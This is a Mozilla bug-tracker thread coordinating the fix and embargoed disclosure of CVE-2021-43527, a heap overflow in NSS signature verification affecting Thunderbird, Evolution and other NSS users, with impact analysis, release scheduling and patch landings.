Dan, do you agree with immediate landing of the Thunderbird patch in bug 1738501 into comm-central, comm-beta and comm-esr91 ?

I'd say it should be fine, it shouldn't give any clue why the additional check is done.

I have tested that the patch prevents the crash in c-c and esr91.
S/MIME automated tests executed locally for comm-esr91 still pass.

Flags: needinfo?(dveditz)

Phabricator Automation

Updated

•

3 years ago

Attachment #9247769 - Attachment description: WIP: Bug 1737470 - Ensure DSA signatures are within maximum size limits. → WIP: Bug 1737470 - Ensure DER encoded signatures are within size limits.

Daniel Veditz [:dveditz]

Comment 47

•

3 years ago

I have filed decoy bug 1738501 for the suggested Thunderbird workaround. I'll move the Thunderbird patch over, and ask there for a review.

It will work better as a "decoy" if it's not a hidden bug. Anyone object to that? The bug doesn't reveal as much as the patch itself does, which is minimal (a refactoring to add a call to mozilla::pkix). As djackson pointed out in slack, the last-minute and hacky expedient nature of incorporating the NSS routines might raise eyebrows anyway. At least if the bug isn't hidden folks relying on automated scanners won't be prompted for a closer human look.

Dan, do you agree with immediate landing of the Thunderbird patch in bug 1738501 into comm-central, comm-beta and comm-esr91 ?

Yes. At the moment Thunderbird users are at the most immediate risk from this bug as far as we've found.

Flags: needinfo?(dveditz)

Kai Engert (:KaiE:)

Comment 48

•

3 years ago

•

Edited

(In reply to Daniel Veditz [:dveditz] from comment #47)

It will work better as a "decoy" if it's not a hidden bug. Anyone object to that?

It was wsmwk (not on cc) who had suggested for the decoy bug to be hidden. But it was only a suggestion. If we have good reason to unhide it, it should be fine with him.

Daniel Veditz [:dveditz]

Updated

•

3 years ago

Assignee: nobody → djackson

Benjamin Beurdouche [:beurdouche]

Comment 49

•

3 years ago

CCing Bailey from Apple so that she can double check that this is not a problem for them.

Benjamin Beurdouche [:beurdouche]

Updated

•

3 years ago

Flags: needinfo?(bbeurdouche)

Benjamin Beurdouche [:beurdouche]

Updated

•

3 years ago

Flags: needinfo?(bbeurdouche)

Dennis Jackson

Assignee

Comment 50

•

3 years ago

The CryptoEng team have been looking at this for the past few days. We're still crossing the t's and dotting the i's but have some preliminary findings to share:

DSA
We believe this was introduced in NSS 3.14, released October 2012. We've tested 3.13.6 and 3.11.9 and neither appear to be vulnerable. Although the vulnerable code takes shape much earlier, the len parameter to decodeECorDSASignature is hardcoded to 40 until revision 10393 / Bug 475578.

Firefox removed support for DSA in TLS in 2014 and mozilla::pkix has never supported DSA certificates so it is not impacted. Similarly, the default NSS policies shipped with Ubuntu and Red Hat disable DSA. However, other users of NSS which haven't disabled DSA by policy are likely to be impacted.

RSA-PSS
RSA-PSS support was introduced in NSS 3.34, released November 2017. Whilst RSA-PSS is used in Firefox, the impact appears to be quite limited:

Update Signing - Not vulnerable, pinned to RSA PKCS #1.
Content Signing - Not vulnerable, pinned to ECDSA.
CRL, OCSP, Certificate Transparency - Not vulnerable, pinned to ECDSA and RSA PKCS #1.
TLS - Not vulnerable, moz::pkix doesn't support RSA-PSS certificates and the TLS implementation dispatches RSA-PSS signatures to PK11_VerifyWithMechanism which avoids the vulnerable code.
Addon Signing - Not vulnerable, but a close run. Starting from OpenSignedAppFile the certificate chain is first verified by moz::pkix which doesn't accept RSA-PSS signatures. Consequently the signing key must be an RSA key provided by Mozilla of the correct size. So whilst an attacker can append an RSA-PSS signature to the addon, allegedly from the Mozilla-provided pubkey, the signature verification uses the public key provided length and so is not vulnerable.

However, if a user manually imports a TLS Certificate (e.g. for client auth) via Settings->View Certificates->Import, it calls into ImportPKCS12File which will attempt to verify the imported file with either a hmac or signature. We assume this is exploitable if the attacker can convince the user to manually install a malicious certificate.

As RSA-PSS is typically enabled by default, consumers of NSS as a library are almost certainly impacted. A non-comprehensive list of believed-vulnerable functions is attached. It includes CMS / SMIME, PKCS #7, PKCS #12, X.509, OCSP and CRL functionality.

Dennis Jackson

Assignee

Comment 51

•

3 years ago

Attached file nss-vuln-functions.txt — Details

Kai Engert (:KaiE:)

Comment 52

•

3 years ago

Bob:

There's another email client that uses NSS for S/MIME and is vulnerable, too. I've just tested that Gnome Evolution on Linux crashes with Tavis' test email, and it crashes below the call to CERT_VerifyCert (in VFY_Begin).

Kai Engert (:KaiE:)

Comment 53

•

3 years ago

Regarding Evolution, I just read comment 50 from Dennis. If RHEL disables DSA, then Evolution on RHEL is likely not affected.

However, other Linux distributions that ship Evolution are affected. I've tested on Debian.

taviso

Reporter

Comment 54

•

3 years ago

(In reply to Dennis Jackson from comment #50)

The CryptoEng team have been looking at this for the past few days. We're still crossing the t's and dotting the i's but have some preliminary findings to share:

Thanks for the analysis - I would like to clarify what is the planned timeline for external notification? I understand Mozilla has things under control, but I worry about third parties. My first choice would be to notify the distros list - but there is a maximum embargo of 14 days.

(In reply to Kai Engert (:KaiE:) from comment #53)

Regarding Evolution, I just read comment 50 from Dennis. If RHEL disables DSA, then Evolution on RHEL is likely not affected.

I think RSA-PSS will still work though...

Benjamin Beurdouche [:beurdouche]

Comment 55

•

3 years ago

(In reply to taviso from comment #54)

Thanks for the analysis - I would like to clarify what is the planned timeline for external notification? I understand Mozilla has things under control, but I worry about third parties. My first choice would be to notify the distros list - but there is a maximum embargo of 14 days.

As I just released NSS 3.72 (2021-10-28), and looking at the calendar [0], there are two releases that could work well for landing this fix:
NSS 3.73 on 2021-12-02 - or - NSS 3.74 on 2022-01-06.

I currently lean towards aiming at NSS 3.73 which leaves us with 4 weeks to take additional disclosure actions.
In that scenario, we could notify the distros list on November 22nd (10 days prior the release).
Does that seem reasonable?

[0] https://wiki.mozilla.org/NSS:Release_Versions#Future_Releases

Benjamin Beurdouche [:beurdouche]

Comment 56

•

3 years ago

Disclosure to Apple: Bailey reached out to me by email on 2021-11-01 to confirm that Apple is not affected by these bugs.

taviso

Reporter

Comment 57

•

3 years ago

(In reply to Benjamin Beurdouche [:beurdouche] from comment #55)

I currently lean towards aiming at NSS 3.73 which leaves us with 4 weeks to take additional disclosure actions.
In that scenario, we could notify the distros list on November 22nd (10 days prior the release).
Does that seem reasonable?

Very reasonable, thanks!

Robert Relyea

Updated

•

3 years ago

Flags: needinfo?(rrelyea)

Kai Engert (:KaiE:)

Comment 58

•

3 years ago

•

Edited

I don't know if the following is necessary, but here are my thoughts and questions:

(In reply to Benjamin Beurdouche [:beurdouche] from comment #55)

As I just released NSS 3.72 (2021-10-28), and looking at the calendar [0], there are two releases that could work well for landing this fix:
NSS 3.73 on 2021-12-02 - or - NSS 3.74 on 2022-01-06.

I currently lean towards aiming at NSS 3.73 which leaves us with 4 weeks to take additional disclosure actions.
In that scenario, we could notify the distros list on November 22nd (10 days prior the release).

When do you intend to create the public commit?
IIUC, you suggest: 2021-12-02

When do you intend to provide the NSS patch for the distro people?
Do you need to do that on the day you announce it to the distro list?
Or is it sufficient to do that by the end of the 14 day period?

As soon as you provide the patch to the distro people, you might see public package builds that contain the patch, so this is equivalent to publishing the fix, and therefore I think that you could publicly commit to NSS on the same day as giving to distro people.

Is it necessary to immediately release beta and esr91 immediately after you make the public commit?
If yes, the suggested date 2021-12-02 may not be ideal, because it's too close to the scheduled release on 2021-12-07, and it might be a challenge for release engineering to handle two releases within a week.

Regardless of the timing for mozilla-central and a new NSS version, you might require at least two .x releases for stable NSS releases, for the one used by Firefox Beta, and for the one used by Firefox ESR 91.x.

[Edit]:
~~If you do it in the middle of the regular 4 week update cycle, then you don't need to immediately create the next NSS release, it's sufficient to have it in NSS trunk and in FF nightly.~~
With the following schedule you'd also require an additional NSS release for the latest FF release.

If the patch can be ready soon, then you could use the following schedule, assuming Firefox releng would agree with it, and also assuming that you can ask distros to delay building public packages until 2 days before the end of the 14 days period:

2021-11-09: announce to distros list
2021-11-21:
public commit to NSS, give patch to distro list,
create release tags NSS 3.68.x, NSS 3.71.x, NSS 3.72.x
2021-11-23: release FF 94.0.x, FF Beta 95.x, FF ESR 91.3.x,
and announce the NSS 3.68.x, NSS 3.71.x and NSS 3.72.x releases

Linux distributions will need to patch their older system NSS releases. For example Debian 10 uses NSS 3.42, and Ubuntu 20.04 uses NSS 3.49, Debian 11 uses NSS 3.61.

Updating NSS is the only known defense for Gnome Evolution, to protect it from being exploitable by received email.

Will the patch to NSS easily apply to all past versions? The answer to this influences how much time the distros need to prepare a merged NSS.

For the current WIP, it seems easy, the patch seems to directly apply to NSS 3.42.

[Edit]: Added need for 3.68.x

Kai Engert (:KaiE:)

Comment 59

•

3 years ago

Previous comment edited

taviso

Reporter

Comment 60

•

3 years ago

(In reply to Kai Engert (:KaiE:) from comment #58)

As soon as you provide the patch to the distro people, you might see public package builds that contain the patch, so this is equivalent to publishing the fix, and therefore I think that you could publicly commit to NSS on the same day as giving to distro people.

I think there's no need to worry, the list members are used to handling embargoed security issues and they take this seriously. They will just make sure they have packages and advisories ready to for their users at the agreed upon date.

You can read about some of the policies here.

Benjamin Beurdouche [:beurdouche]

Comment 61

•

3 years ago

(In reply to Kai Engert (:KaiE:) from comment #58)

I don't know if the following is necessary, but here are my thoughts and questions:

Always useful, thanks for your thoughts Kai ! : )

I am not yet able to give you a complete story for the timeline as I am still discussing the possibilities with Fx Release Management. However it looks like we are moving towards a solution that is quite close to what you suggested above and where Firefox release and ESR are patched roughly at the same time as we make the fix public. I'll get back to all of you here as soon as I know more...

Benjamin Beurdouche [:beurdouche]

Comment 62

•

3 years ago

Dan, can you please comment on which versions of Firefox you'd like to be patched please? Thanks : )

Flags: needinfo?(dveditz)

Daniel Veditz [:dveditz]

Comment 63

•

3 years ago

Are we OK having the distros ship fixes, with Firefox fixing the issue 5 days later? That's essentially what would happen with a Dec 02 date. We could do an RC2 and hold off on the ESR 91.4 RC until the patches land on that date (for a Dec 7 release), but we wouldn't be able to get a new 94.0.x update and shipped then with all the release and QA teams focused on the Dec 7 releases.

We don't have a "94.0.x" update release already planned, at least not in a reliable enough way we could pin a distro disclosure timeline to, and the impact to Firefox doesn't appear severe enough to force a chemspill on its own.

Timing aside, The versions I'd like to see fixed are Firefox 95.0 (Release) and Firefox ESR 91.4. it looks like the distro list disclosure rules would consider us landing patches as a "disclosure", and in order to ship in those releases we would have to make builds on that Dec 2 date at the latest.

If we have an alternate way to disable the functionality outside of NSS that doesn't hint at the problem then Dec 7 would be a better disclosure date. We could have included the non-revealing Firefox patch in those releases, and then release NSS point releases with the patch on that date. The NSS patches wouldn't be in the Firefox releases, but they could than land on Nightly and Beta.

Flags: needinfo?(dveditz)

Benjamin Beurdouche [:beurdouche]

Comment 64

•

3 years ago

Thanks! John is looking at fixing Firefox separately from the NSS fix by using a Policy, so we might have a bit more freedom for scheduling the NSS release. We'll report back here when we know if this actually works well... : )

John Schanck [:jschanck]

Comment 65

•

3 years ago

As Dennis mentioned in comment 50, we were initially concerned that Firefox was vulnerable through the client certificate import dialog.

I've reviewed the relevant function, nsPKCS12Blob::ImportFromFile , and found that it is not vulnerable. The attacker would have to provide an RFC 7292 PFX structure with a zero-length macData field (because of this branch). Zero-length macData fields are allowed by the standard, but not by the ASN.1 template that SEC_PKCS12DecoderStart selects for parsing PFX structures. So it's impossible to hit the vulnerable SEC_PKCS7VerifySignature path in SEC_PKCS12DecoderVerify when the input SEC_PKCS12DecoderContext is initialized using SEC_PKCS12DecoderStart, as it is in nsPKCS12Blob::ImportFromFile.

Our current assessment is that Firefox is not vulnerable to this bug, and a separate non-revealing Firefox patch is not necessary.

Benjamin Beurdouche [:beurdouche]

Comment 66

•

3 years ago

Hi all,
If we are confident - say mid-next week - that we identified the few actors that we want to notify early and have a valid patch, we could be ok for including the fix in releases of NSS in this cycle (December 2nd). In that case we could selectively disclose on Wed Nov 24th which is a one week notice.

Bob, Kai, can you confirm that there is no blockage for you if we attempt to fix and publicly disclose for the next NSS release on Dec 2nd and are we ok with only having the fix in NSS 3.73+ and NSS 3.68 ESR ?

I've asked Dennis to take over coordination of the disclosure on our side and he will likely provide a status update here soon.

Flags: needinfo?(rrelyea)

Flags: needinfo?(kaie)

Robert Relyea

Comment 67

•

3 years ago

My biggest issue with the plan is Nov 24th is the day before thanksgiving. For me, we are trying to get embargoed builds done this week, but for anyone that gets noticed on Nov24th, you are generating a bad Thanksgiving Holiday for them, It would probably be better to give notice after Thanksgiving and push the NSS release cycle out one week.

Flags: needinfo?(rrelyea)

Huzaifa Sidhpurwala

Comment 68

•

3 years ago

So, unembargo date is 2nd dec ? and not Nov 24th right?

Kai Engert (:KaiE:)

Comment 69

•

3 years ago

(In reply to Benjamin Beurdouche [:beurdouche] from comment #66)

Bob, Kai, can you confirm that there is no blockage for you if we attempt to fix and publicly disclose for the next NSS release on Dec 2nd ...

No block from Thunderbird perspective, we have already shipped the workaround in release 91.3.0 and beta 95.0b1.

... and are we ok with only having the fix in NSS 3.73+ and NSS 3.68 ESR ?

The NSS team usually didn't provide support for older NSS versions - but everyone distributing older NSS versions must apply the required patch. It should be made clear which patch needs to be applied. It should be made clear that e.g. everyone distributing Gnome Evolution is highly vulnerable and needs to ship NSS with the fixed patch ASAP (on the coordinated date).

Flags: needinfo?(kaie)

Phabricator Automation

Updated

•

3 years ago

Attachment #9247769 - Attachment description: WIP: Bug 1737470 - Ensure DER encoded signatures are within size limits. → Bug 1737470 - Ensure DER encoded signatures are within size limits. r=jschanck,mt,bbeurdouche,rrelyea

Robert Relyea

Comment 70

•

3 years ago

Huzaifa, yes, but the distros are notified on the 24th they don't really have a full week to get their code together and get builds ready. Also I'm off on Thanksgiving, so we need to get the release machinery running this week or there will be no one at Red Hat to create the builds for QA, since already know about this.

taviso

Reporter

Comment 71

•

3 years ago

Has Mozilla/Red Hat allocated a CVE for this issue? I think Huzaifa might know for Red Hat.

I would prefer not to rush all the other distros - Red Hat has a big head start - I imagine Debian and others will want time to do some back porting and can't just apply the patch.

Is there any objection to informing the vendors list tomorrow? I can take care of letting them know. That will still be 14 days until the 2nd.

Robert Relyea

Comment 72

•

3 years ago

I definitely think we need to inform the other distros sooner if we want to keep the 2nd as the release date.

Dennis Jackson

Assignee

Comment 73

•

3 years ago

(In reply to taviso from comment #71)

Has Mozilla/Red Hat allocated a CVE for this issue? I think Huzaifa might know for Red Hat.

Mozilla will allocate. Dan, can you handle this?

Is there any objection to informing the vendors list tomorrow? I can take care of letting them know. That will still be 14 days until the 2nd.

Please don't. I'd also rather that the disclosure comes from Mozilla as this is a good reflex for us to exercise.

My biggest issue with the plan is Nov 24th is the day before thanksgiving.

Thanks for the feedback Kai & Bob.

Let's avoid Thanksgiving entirely and move the disclosure date back to Monday 29th of November and release the embargo on Thursday the 9th of December. This means we can include a finalised patch with the disclosure and give everybody 8 working days to get their ducks in a row.

Benjamin is okay with pushing the NSS release date to the 9th of Dec and it sounds like this is also fine for Thunderbird and Red Hat.

Flags: needinfo?(dveditz)

taviso

Reporter

Comment 74

•

3 years ago

(In reply to Dennis Jackson from comment #73)

(In reply to taviso from comment #71)

Has Mozilla/Red Hat allocated a CVE for this issue? I think Huzaifa might know for Red Hat.

Mozilla will allocate. Dan, can you handle this?

Sounds good to me, thanks!

Is there any objection to informing the vendors list tomorrow? I can take care of letting them know. That will still be 14 days until the 2nd.

Please don't. I'd also rather that the disclosure comes from Mozilla as this is a good reflex for us to exercise.

It's the norm for reporters to post, but I don't mind letting you do it. Could you let me review the post before sending it?

My biggest issue with the plan is Nov 24th is the day before thanksgiving.

Thanks for the feedback Kai & Bob.

Let's avoid Thanksgiving entirely and move the disclosure date back to Monday 29th of November and release the embargo on Thursday the 9th of December. This means we can include a finalised patch with the disclosure and give everybody 8 working days to get their ducks in a row.

Benjamin is okay with pushing the NSS release date to the 9th of Dec and it sounds like this is also fine for Thunderbird and Red Hat.

There is an issue here, our (Project Zero) policies dictate what I'm required to do 30 days after any "fix" is "made available". I understand the Thunderbird patch was not a complete fix, but if I accept that interpretation, then other (less cooperative) vendors can game our policies by releasing partial fixes and then blocking public disclosure. I would really prefer to avoid setting that precedent, not all vendors are as diligent as Mozilla.

It would really make my life a lot simpler if we try to keep it before the 4th.

Robert Relyea

Comment 75

•

3 years ago

Benjamin is okay with pushing the NSS release date to the 9th of Dec and it sounds like this is also fine for Thunderbird and Red Hat.

This would be by far my preference.

There is an issue here, our (Project Zero) policies dictate what I'm required to do 30 days after any "fix" is "made available". I understand the Thunderbird patch was not a complete fix, but if I accept that interpretation, then other (less cooperative) vendors can game our policies by releasing partial fixes and then blocking public disclosure. I would really prefer to avoid setting that precedent, not all vendors are as diligent as Mozilla.

It would really make my life a lot simpler if we try to keep it before the 4th.

If we have to keep this early of a date, then we should definitely notify other distros early. From a practical matter you really need to assume holidays are noops. Yes distros can handle having to cobble something together over the holidays, or just flat out saying we aren't going to make the embargo date for the release, but artificially generating such a condition is very unfriendly.

Hubert Kario

Comment 76

•

3 years ago

(In reply to taviso from comment #74)

(In reply to Dennis Jackson from comment #73)

(In reply to taviso from comment #71)

My biggest issue with the plan is Nov 24th is the day before thanksgiving.

Thanks for the feedback Kai & Bob.

Let's avoid Thanksgiving entirely and move the disclosure date back to Monday 29th of November and release the embargo on Thursday the 9th of December. This means we can include a finalised patch with the disclosure and give everybody 8 working days to get their ducks in a row.

Benjamin is okay with pushing the NSS release date to the 9th of Dec and it sounds like this is also fine for Thunderbird and Red Hat.

There is an issue here, our (Project Zero) policies dictate what I'm required to do 30 days after any "fix" is "made available". I understand the Thunderbird patch was not a complete fix, but if I accept that interpretation, then other (less cooperative) vendors can game our policies by releasing partial fixes and then blocking public disclosure. I would really prefer to avoid setting that precedent, not all vendors are as diligent as Mozilla.

I do not know how the Thunderbird workaround looks like; if it's in the NSS side or the Thunderbird side. If it's in Thunderbird side, we can't really say that a fix was made available to users of curl compiled against NSS or Apache mod_nss (among others).

Kai Engert (:KaiE:)

Comment 77

•

3 years ago

But one can argue a partial fix was made available for some users.

Ryan VanderMeulen [:RyanVM]

Updated

•

3 years ago

status-firefox94: affected → wontfix

status-firefox96: --- → affected

tracking-firefox96: --- → +

Dennis Jackson

Assignee

Comment 78

•

3 years ago

(In reply to taviso from comment #74)

Could you let me review the post before sending it?

Sure, that would be great.

There is an issue here, our (Project Zero) policies dictate what I'm required to do 30 days after any "fix" is "made available". I understand the Thunderbird patch was not a complete fix, but if I accept that interpretation, then other (less cooperative) vendors can game our policies by releasing partial fixes and then blocking public disclosure. I would really prefer to avoid setting that precedent, not all vendors are as diligent as Mozilla.

We don’t expect any special treatment from Project Zero. If you are notifying us that you consider the Thunderbird decoy patch to be a 'broadly available fix' then, in line with your published policy, we will publicly disclose on the next working day after the 4th (aka December 6th).

That said, I don’t agree the fix is ‘broadly available’ as there are many downstream applications which have no available fix. Mozilla would like to give those maintainers as much as possible to integrate the patch and backport it to their supported versions. In both cases, we plan to privately disclose on November 29th (the Monday after Thanksgiving).

Daniel Veditz [:dveditz]

Comment 79

•

3 years ago

(In reply to Dennis Jackson from comment #73)

Has Mozilla/Red Hat allocated a CVE for this issue? I think Huzaifa might know for Red Hat.

Mozilla will allocate. Dan, can you handle this?

Use CVE-2021-43527 for this issue.

Alias: CVE-2021-43527

Flags: needinfo?(dveditz)

taviso

Reporter

Comment 80

•

3 years ago

(In reply to Dennis Jackson from comment #78)

That said, I don’t agree the fix is ‘broadly available’ as there are many downstream applications which have no available fix.

I understand, but you can imagine how a vendor could release a patch for their main product, and then demand no advisory is published because they haven't patched some minor product. You have to understand that I deal with a lot of uncooperative vendors who want to argue about policies to hide security issues from users.

Mozilla would like to give those maintainers as much as possible to integrate the patch and backport it to their supported versions. In both cases, we plan to privately disclose on November 29th (the Monday after Thanksgiving).

You mean want to inform the distros list on November 29th? That's okay with me, although I really think a few more days would be appreciated if you can swing it.

Daniel Veditz [:dveditz]

Comment 81

•

3 years ago

(In reply to taviso from comment #80)

You mean want to inform the distros list on November 29th? That's okay with me, although I really think a few more days would be appreciated if you can swing it.

It's a balance: to give them more time then either we're ruining Thanksgiving for US-based folks by warning them right before a major travel holiday, or we're going even further over your deadline by releasing later :-( And if the advisory has already been published releasing later isn't giving anyone more time.

taviso

Reporter

Comment 82

•

3 years ago

(In reply to Daniel Veditz [:dveditz] from comment #81)

(In reply to taviso from comment #80)

You mean want to inform the distros list on November 29th? That's okay with me, although I really think a few more days would be appreciated if you can swing it.

It's a balance: to give them more time then either we're ruining Thanksgiving for US-based folks by warning them right before a major travel holiday, or we're going even further over your deadline by releasing later :-( And if the advisory has already been published releasing later isn't giving anyone more time.

Fair enough. In my experience, I think most teams (even volunteer teams, e.g. Debian) are globally distributed and wouldn't be annoyed with the extra time. This is just my opinion, so long as it's under the deadline, the choice is yours!

Huzaifa Sidhpurwala

Comment 84

•

2 years ago

Tavis,

As an apart, are you planning to do a technical blog about this on the project zero site?

taviso

Reporter

Comment 85

•

2 years ago

Yes - I'm planning to blog about the process I used to discover it and so on.

Benjamin Beurdouche [:beurdouche]

Comment 86

•

2 years ago

Status update. Thanks to Dennis, the Private disclosure to the distros list has been done and they acknowledged this morning.
The public disclosure is set to December 6th, 16:00 UTC.

Daniel Veditz [:dveditz]

Updated

•

2 years ago

status-firefox95: affected → disabled

status-firefox96: affected → disabled

status-firefox-esr91: affected → disabled

Kai Engert (:KaiE:)

Comment 87

•

2 years ago

what's the meaning of "disabled" for the status-firefox-esr91 flag?

Benjamin Beurdouche [:beurdouche]

Updated

•

2 years ago

Flags: needinfo?(bbeurdouche)

Keywords: leave-open

Benjamin Beurdouche [:beurdouche]

Comment 88

•

2 years ago

Attached file Bug 1737470 - land NSS NSS_3_68_1_RTM UPGRADE_NSS_RELEASE, r=kaie — Details

2021-12-01 Benjamin Beurdouche <bbeurdouche@mozilla.com>

* lib/nss/nss.h, lib/softoken/softkver.h, lib/util/nssutil.h:
Set version numbers to 3.68.1 final
[6e68b52ee28b] [NSS_3_68_1_RTM] <NSS_3_68_1_BRANCH>

2021-10-11 John M. Schanck <jschanck@mozilla.com>

* gtests/certdb_gtest/decode_certs_unittest.cc, lib/pkcs7/certread.c:
Bug 1735028 - check for missing signedData field r=keeler

[5b2659c39cc7] <NSS_3_68_1_BRANCH>

2021-11-22 Dennis Jackson <djackson@mozilla.com>

* lib/cryptohi/secvfy.c:
Bug 1737470 - Ensure DER encoded signatures are within size limits.
r=jschanck,mt,bbeurdouche,rrelyea

[dea71cbef9e0] <NSS_3_68_1_BRANCH>

2021-07-08 Benjamin Beurdouche <bbeurdouche@mozilla.com>

* .hgtags:
Added tag NSS_3_68_RTM for changeset 3680dc580194
[da3d22d708c9] <NSS_3_68_BRANCH>

Benjamin Beurdouche [:beurdouche]

Comment 89

•

2 years ago

Everyone should be aware already but commenting here just in case...
The embargo was broken a few hours ago so - in agreement with the Linux distros list - the new public disclosure is set to: December 1st, 16:00 UTC

Robert Relyea

Comment 90

•

2 years ago

Thanks Benjamin for the response. We are looking at the issue in Red Hat. It looks like a tooling issue. The builds were properly marked as embargoed in our private tree, but the centos stream tools still automatically pulled them into the public tree. Clearly we need to fix what went wrong.

bob

Huzaifa Sidhpurwala

Comment 91

•

2 years ago

Is there going to be a mozilla advisory or nss release notes, or any way to know the issue is "really" public now?

Benjamin Beurdouche [:beurdouche]

Comment 92

•

2 years ago

We are gonna push the commits+tags to the NSS repo, effectively making NSS 3.73.0 and NSS 3.68.1 ESR public.
The archives are gonna be uploaded to the Mozilla FTP server as usual and we will email dev-tech-crypto and provide an advisory shortly after.

Note that because the timeline changed, 3.73.0 contains the fix.

Benjamin Beurdouche [:beurdouche]

Comment 93

•

2 years ago

The NSS 3.73.0 and 3.68.1 (ESR) releases are now public. https://hg.mozilla.org/projects/nss/graph

Benjamin Beurdouche [:beurdouche]

Comment 94

•

2 years ago

https://hg.mozilla.org/projects/nss/rev/f80fafd04cf82b4d315c8fe42bb4639703f6ee4f
https://hg.mozilla.org/projects/nss/rev/dea71cbef9e03636f37c6cb120f8deccce6e17dd (NSS_3_68_1_BRANCH)
https://hg.mozilla.org/projects/nss/rev/6b3dc97a8767d9dc5c4c181597d1341d0899aa58 (NSS_3_73_BRANCH)

Benjamin Beurdouche [:beurdouche]

Comment 95

•

2 years ago

The NSS advisory is up: https://www.mozilla.org/en-US/security/advisories/mfsa2021-51/

Kai Engert (:KaiE:)

Comment 96

•

2 years ago

Comment on attachment 9253226 [details]
Bug 1737470 - land NSS NSS_3_68_1_RTM UPGRADE_NSS_RELEASE, r=kaie

ESR Uplift Approval Request

If this is not a sec:{high,crit} bug, please state case for ESR consideration: critical bug for Thunderbird
User impact if declined: potentially exploitable crash using yet undiscovered attack vectors
Fix Landed on Version:
Risk to taking this patch: Low
Why is the change risky/not risky? (and alternatives if risky): The risk seems minimal for Firefox, because apparently it doesn't use the modified APIs.
The additional safety checks are desired for Thunderbird.
String or UUID changes made by this patch:

Attachment #9253226 - Flags: approval-mozilla-esr91?

Ryan VanderMeulen [:RyanVM]

Comment 97

•

2 years ago

Comment on attachment 9253226 [details]
Bug 1737470 - land NSS NSS_3_68_1_RTM UPGRADE_NSS_RELEASE, r=kaie

Approved for TB 91.4.0 build2. As has been discussed previously, we're not planning to respin the Firefox 91.4.0esr build for this, so this change will ride with the 91.5.0esr release shipping alongside Firefox 96 in January.

Attachment #9253226 - Flags: approval-mozilla-esr91? → approval-mozilla-esr91+

Ryan VanderMeulen [:RyanVM]

Comment 98

•

2 years ago

uplift

Landed on ESR91:
https://hg.mozilla.org/releases/mozilla-esr91/rev/b6173cd78c9d522f2e3257c408933db4f9cedc13

status-firefox95: disabled → wontfix

status-firefox-esr91: disabled → fixed

tracking-firefox-esr91: 95+ → 96+

Daniel Veditz [:dveditz]

Comment 99

•

2 years ago

Tavis un-hid the GP0 bug: https://bugs.chromium.org/p/project-zero/issues/detail?id=2237

See Also: → https://bugs.chromium.org/p/project-zero/issues/detail?id=2237

Daniel Veditz [:dveditz]

Updated

•

2 years ago

Depends on: CVE-2021-43529

Daniel Veditz [:dveditz]

Updated

•

2 years ago

Blocks: CVE-2021-43529

Group: crypto-core-security → core-security-release

No longer depends on: CVE-2021-43529

Daniel Veditz [:dveditz]

Updated

•

2 years ago

Status: NEW → RESOLVED

Closed: 2 years ago

Resolution: --- → FIXED

BugBot [:suhaib / :marco/ :calixte]

Updated

•

2 years ago

Keywords: leave-open

Daniel Veditz [:dveditz]

Updated

•

2 years ago

Comment 100

•

2 years ago

(In reply to Benjamin Beurdouche [:beurdouche] from comment #86)

Status update. Thanks to Dennis, the Private disclosure to the distros list has been done and they acknowledged this morning.
The public disclosure is set to December 6th, 16:00 UTC.

(In reply to Benjamin Beurdouche [:beurdouche] from comment #89)

Everyone should be aware already but commenting here just in case...
The embargo was broken a few hours ago so - in agreement with the Linux distros list - the new public disclosure is set to: December 1st, 16:00 UTC

What distros list, with what thread titles? I've seen neither messages, while I should have.

Benjamin Beurdouche [:beurdouche]

Comment 101

•

2 years ago

What distros list, with what thread titles? I've seen neither messages, while I should have.

From: Dennis Jackson <djackson@mozilla.com>
Date: Mon, Nov 29, 2021 at 10:00 AM
Subject: [vs] CVE-2021-43527: Heap overflow in NSS when verifying DSA/RSA-PSS DER-encoded signatures
To: <distros@vs.openwall.org>

Ryan Sleevi

Comment 102

•

2 years ago

Adding the P0 write-up from Tavis at https://googleprojectzero.blogspot.com/2021/12/this-shouldnt-have-happened.html

Ryan VanderMeulen [:RyanVM]

Updated

•

2 years ago

status-firefox96: disabled → fixed

Target Milestone: --- → 3.73

BugBot [:suhaib / :marco/ :calixte]

Comment 103

•

2 years ago

As part of a security bug pattern analysis, we are requesting your help with a high level analysis of this bug. It is our hope to develop static analysis (or potentially runtime/dynamic analysis) in the future to identify classes of bugs.

Please visit this google form to reply.

Flags: needinfo?(djackson)

Whiteboard: [disclosure deadline is 2022-01-22] → [disclosure deadline is 2022-01-22][sec-survey]

Mihai Boldan, Desktop QA [:mboldan]

Updated

•

2 years ago

Flags: qe-verify-

Dennis Jackson

Assignee

Comment 104

•

2 years ago

Form filled out.

Flags: needinfo?(djackson)

Frederik Braun [:freddy]

Comment 105

•

2 years ago

Dennis: Looking at this from a perspective of writing advisories for the upcoming release of Firefox 96 and ESR 91.5. My understanding is that these releases are marked as "fixed" because we are taking the updated NSS version, but they are not technically affected by this security bug.

Is there a local / self-exploit scenario that we need to take into account though?

Flags: needinfo?(djackson)

Whiteboard: [disclosure deadline is 2022-01-22][sec-survey] → [disclosure deadline is 2022-01-22][sec-survey][adv-main96-][adv-ESR91.5-]

Dennis Jackson

Assignee

Comment 106

•

2 years ago

Frederik Braun:

Is there a local / self-exploit scenario that we need to take into account though?

Not as far as we're aware. The vulnerable code can't be triggered from Firefox.

Flags: needinfo?(djackson)

Daniel Veditz [:dveditz]

Updated

•

2 years ago

Group: core-security-release

decoderECorDsaSignature.pem 3 years ago taviso 9.00 KB, application/x-x509-ca-cert		Details
Bug 1737470 - Ensure DER encoded signatures are within size limits. r=jschanck,mt,bbeurdouche,rrelyea 3 years ago Dennis Jackson 48 bytes, text/x-phabricator-request		Details \| Review
rsapss-testcase.der 3 years ago taviso 5.81 KB, application/x-x509-ca-cert		Details
smime-test.eml 3 years ago taviso 10.58 KB, message/rfc822		Details
Thunderbird decoy workaround, v1 (moved to bug 1738501) 3 years ago Kai Engert (:KaiE:) 9.62 KB, patch		Details \| Diff \| Splinter Review
nss-vuln-functions.txt 3 years ago Dennis Jackson 851 bytes, text/plain		Details
Bug 1737470 - land NSS NSS_3_68_1_RTM UPGRADE_NSS_RELEASE, r=kaie 2 years ago Benjamin Beurdouche [:beurdouche] 48 bytes, text/x-phabricator-request	RyanVM : approval-mozilla-esr91+	Details \| Review